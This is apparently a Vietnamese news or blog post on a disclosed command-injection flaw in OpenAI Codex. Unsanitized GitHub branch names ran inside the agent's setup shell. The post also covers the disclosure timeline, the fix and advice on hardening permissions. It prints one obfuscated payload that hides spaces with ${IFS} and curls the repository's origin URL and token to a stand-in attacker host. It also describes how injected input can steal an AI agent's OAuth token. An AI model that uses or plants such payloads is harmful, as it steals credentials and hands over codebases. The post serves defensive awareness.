Hôm qua (30/3/2026), đội ngũ BeyondTrust Phantom Labs đã công bố một lỗ hổng command injection cực kỳ nghiêm trọng trong OpenAI Codex – coding agent được tích hợp trực tiếp vào ChatGPT.
OpenAI đã vá lỗi này từ đầu tháng 2/2026 (chính thức classified Critical Priority 1 ngày 5/2/2026), nhưng cách thức tấn công mới là thứ khiến cộng đồng developer phải giật mình.

Bản chất lỗ hổng: Branch name → Shell command không sanitize
Khi bạn yêu cầu Codex tạo task trên một repository GitHub + branch cụ thể, hệ thống gửi POST request đến endpoint https://chatgpt.com/backend-api/wham/tasks và đưa thẳng tên branch vào script setup môi trường bên trong container (thường là lệnh git fetch hoặc tương tự).
Không có sanitization, không escape shell metacharacter.
Kẻ tấn công chỉ cần:
- Tạo branch có payload độc hại trên GitHub (cần quyền push hoặc admin repo).
- Sử dụng Unicode Ideographic Space (U+3000) +
${IFS}để “giấu” lệnh (GitHub không cho phép space thông thường trong branch name, nhưng Bash vẫn interpret${IFS}thành space). - Ví dụ payload điển hình (đã được obfuscate):
main || true;curl${IFS}'attacker-server.com/'`git -C /workspace/repo remote get-url origin`(với hàng chục ký tự Unicode vô hình đằng sau để tránh hiển thị trong UI).
Bất kỳ ai mở repo đó trong Codex (ChatGPT web, CLI, SDK, IDE extension) đều vô tình trigger lệnh → token OAuth của chính họ bị exfil về server attacker.
Tác động thực tế: Token = Full control codebase
Token bị đánh cắp là GitHub User Access Token (hoặc Installation Access Token) – chính token Codex dùng để clone & tương tác với repo. Kẻ tấn công có ngay quyền:
- Đọc/ghi toàn bộ codebase
- Truy cập Actions, Workflows, Issues, Secrets
- Thay đổi branch, tạo PR, push code độc hại
Đặc biệt nguy hiểm: Một branch độc hại duy nhất có thể ảnh hưởng tất cả user đang dùng Codex trên repo đó. Scale cực lớn trong team/dev enterprise.
OpenAI đã fix như thế nào?
Theo timeline responsible disclosure:
- 16/12/2025: BeyondTrust báo cáo
- 23/12/2025: Hotfix command injection
- 22-30/01/2026: Củng cố shell escaping + giới hạn scope & lifetime của token
- 05/02/2026: Xác nhận Critical và cho phép public disclosure
OpenAI đã áp dụng input validation, quoting nghiêm ngặt hơn và thu hẹp quyền token chỉ trong thời gian task chạy.
Đây không phải bug riêng của Codex – Đây là pattern tấn công
Lỗ hổng này lộ rõ một attack surface chung của mọi AI coding agent:
- Cursor, Claude Code, GitHub Copilot, Windsurf, Devin, Aider…
- Tất cả tool cho AI “touch git”, clone repo, chạy shell, tiếp cận env var, API key, OAuth token.
Root cause lặp lại: AI agent được cấp quyền cao nhưng input từ GitHub (branch name, PR comment, config file, .env…) không được sanitize triệt để. Container isolation không phải là “bức tường thành” nếu shell command vẫn bị inject.
Anh em developer nên làm gì ngay hôm nay?
- Review permission ngay lập tức
Vào GitHub → Settings → Applications → Authorized OAuth Apps → Kiểm tra tất cả AI coding tools.
Revoke full repo access nếu có thể, chỉ cấp quyền read-only hoặc repo-specific. - Không chạy agent trên repo lạ chưa review
Branch name, PR title/comment, evenpackage.jsonhay workflow file đều có thể là vector. - Pin dependencies & harden environment
Đừng tin container isolation mù quáng. Sử dụng least-privilege token, rotate thường xuyên, monitor GitHub audit log. - Tư duy mới: AI coding agent ≠ autocomplete.
Nó là môi trường execute thật, chạy lệnh thật, cầm credential thật. Đối xử với nó như một service cần bảo mật production-level.
Lỗ hổng Codex là lời nhắc nhở đau đớn nhưng cần thiết: càng mạnh AI agent, attack surface càng rộng. Vibe “thử cho vui” với AI coding tool đang dần trở thành rủi ro thực sự cho cả cá nhân và tổ chức.
Hãy audit permission hôm nay, thay vì chờ đến khi token của bạn nằm trong tay attacker.








